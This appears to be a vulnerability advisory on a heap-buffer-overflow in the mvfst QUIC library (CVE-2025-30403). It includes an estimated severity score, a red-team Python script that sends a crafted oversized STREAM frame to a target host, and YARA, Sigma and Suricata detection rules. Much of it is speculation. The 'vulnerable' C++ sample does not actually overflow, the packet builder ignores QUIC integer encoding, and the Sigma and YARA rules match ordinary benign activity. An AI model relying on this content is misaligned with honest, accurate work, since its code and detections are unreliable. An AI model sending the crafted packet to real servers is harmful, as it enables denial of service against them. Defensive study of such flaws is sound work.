CVE-2025-30403

Executive Summary

CVE-2025-30403 is a heap-buffer-overflow vulnerability in the mvfst QUIC protocol implementation, affecting versions prior to v2025.07.07.00. The flaw can be triggered by a specially crafted message during a QUIC session, potentially leading to memory corruption and remote code execution. No public proof-of-concept or exploit code is available at this time. The vulnerability has a CVSS score of 0.0 (unassigned) and an EPSS score of 0.0%, indicating low exploitation likelihood currently, but the risk remains significant for unpatched systems.

Supply Chain & Package Security

This vulnerability affects the mvfst library, which is a C++ implementation of the QUIC transport protocol. Organizations using mvfst in their software supply chain should verify they are using version v2025.07.07.00 or later. No package manager advisories (NPM, PyPI, Go, Ruby) are currently associated with this CVE.

CVSS Breakdown & Threat Level

The CVSS score is currently unassigned (0.0). Based on the nature of the vulnerability (heap-buffer-overflow in a network protocol implementation), the likely vector would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Remote exploitation without authentication is possible, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the mvfst QUIC implementation's message parsing logic. A heap-buffer-overflow occurs when the library processes a specially crafted QUIC frame that contains a length field exceeding the actual allocated buffer size. This can happen during the processing of STREAM frames, CRYPTO frames, or other variable-length QUIC frames.

Root Cause: Insufficient bounds checking when copying data from the network buffer into a heap-allocated buffer. The vulnerable code likely uses a memcpy or similar operation without verifying that the source data length does not exceed the destination buffer capacity.

Attack Vector: An unauthenticated attacker sends a malicious QUIC packet to a server or client using mvfst. The packet contains a crafted frame with an oversized length field, causing the library to write beyond the allocated heap buffer.

Impact: Successful exploitation can lead to:

• Memory corruption
• Denial of service (crash)
• Potential remote code execution (RCE) if the attacker can control the overflow data

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the fix likely involves adding proper bounds checking before memory copy operations.

Vulnerable Code Pattern (C++):

void processStreamFrame(const StreamFrame& frame) {
    uint8_t* buffer = new uint8_t[frame.dataLength];
    memcpy(buffer, frame.data, frame.dataLength); // No bounds check
    // ... process buffer
}

Patched Code Pattern:

void processStreamFrame(const StreamFrame& frame) {
    if (frame.dataLength > MAX_STREAM_DATA_SIZE) {
        // Reject oversized frame
        return;
    }
    uint8_t* buffer = new uint8_t[frame.dataLength];
    memcpy(buffer, frame.data, frame.dataLength); // Safe after check
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• mvfst version prior to v2025.07.07.00
• Network access to the target service
• Knowledge of QUIC protocol structure

Exploitation Steps:

1. Set up a test environment with a vulnerable mvfst server.
2. Craft a malicious QUIC Initial packet containing a STREAM frame with an oversized length field.
3. Send the packet to the target server.
4. Monitor for crashes or memory corruption.

Example Python script to generate malicious QUIC packet:

import struct
import socket

def create_malicious_quic_packet():
    # QUIC long header with crafted STREAM frame
    # This is a simplified example - actual QUIC packet construction is complex
    packet = bytearray()
    packet.append(0xC0)  # Long header, Initial type
    packet.extend(struct.pack('!I', 1))  # Version
    packet.extend(b'\x00' * 8)  # Destination Connection ID
    packet.extend(b'\x00' * 8)  # Source Connection ID
    
    # Crafted STREAM frame with overflow
    stream_frame = bytearray()
    stream_frame.append(0x08)  # STREAM frame type
    stream_frame.extend(struct.pack('!Q', 0))  # Stream ID
    stream_frame.extend(struct.pack('!Q', 0xFFFFFFFF))  # Oversized length
    stream_frame.extend(b'A' * 100)  # Payload
    
    packet.extend(stream_frame)
    return packet

# Send to target
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(create_malicious_quic_packet(), ('target_ip', 443))

Blue Team

Detection Steps:

1. Monitor for unusual QUIC packet sizes or malformed frames.
2. Enable heap debugging and memory corruption detection (e.g., AddressSanitizer).
3. Look for crashes in mvfst processes with SIGSEGV or SIGABRT signals.
4. Implement network monitoring for QUIC packets with anomalous length fields.

Mitigation Testing:

# Test with AddressSanitizer
export ASAN_OPTIONS=detect_leaks=1
./mvfst_server --port 443
# Send malicious packet and check for ASAN output

Indicators of Compromise (IOCs)

Network IOCs:

• QUIC packets with STREAM frame length fields exceeding 65535 bytes
• QUIC packets with CRYPTO frame length fields exceeding 16384 bytes
• Multiple QUIC Initial packets from the same source IP with varying connection IDs

Host IOCs:

• mvfst process crashes with heap corruption errors
• Log entries containing "buffer overflow" or "heap-buffer-overflow"
• Unexpected memory allocation patterns in mvfst processes

File IOCs:

• Core dumps from mvfst processes
• AddressSanitizer output files (if enabled)

Detection Engineering

YARA Rule

rule CVE_2025_30403_MVFST_HEAP_OVERFLOW {
    meta:
        description = "Detects heap-buffer-overflow in mvfst QUIC implementation"
        author = "Valters IT"
        date = "2025-07-08"
        cve = "CVE-2025-30403"
    
    strings:
        $s1 = "mvfst" ascii wide nocase
        $s2 = "QUIC" ascii wide nocase
        $s3 = "STREAM" ascii wide nocase
        $s4 = "memcpy" ascii wide nocase
        $s5 = "heap-buffer-overflow" ascii wide nocase
    
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-30403 - mvfst Heap Buffer Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation attempts of CVE-2025-30403 in mvfst QUIC implementation
author: Valters IT
date: 2025-07-08
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mvfst_server'
        CommandLine|contains: '--port'
    condition: selection
falsepositives:
    - Legitimate mvfst server instances
level: high

Suricata Rule

alert udp any any -> any 443 (msg:"CVE-2025-30403 - mvfst QUIC Heap Buffer Overflow Attempt"; content:"|c0|"; offset:0; depth:1; content:"|01 00 00 00|"; within:4; content:"|08|"; within:1; distance:20; content:"|ff ff ff ff|"; within:4; distance:8; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade mvfst to version v2025.07.07.00 or later.
2. If immediate upgrade is not possible, restrict network access to mvfst services.
3. Enable AddressSanitizer in development environments to detect similar issues.

Long-term Mitigations:

1. Implement input validation for all QUIC frame length fields.
2. Use safe memory functions (e.g., memcpy_s on Windows, or bounds-checked alternatives).
3. Conduct regular code audits focusing on memory safety.
4. Consider using memory-safe languages or libraries for critical components.

Workarounds:

• Deploy Web Application Firewall (WAF) rules to inspect QUIC traffic.
• Use network segmentation to limit exposure of mvfst services.
• Monitor for anomalous QUIC packet patterns.

Valters IT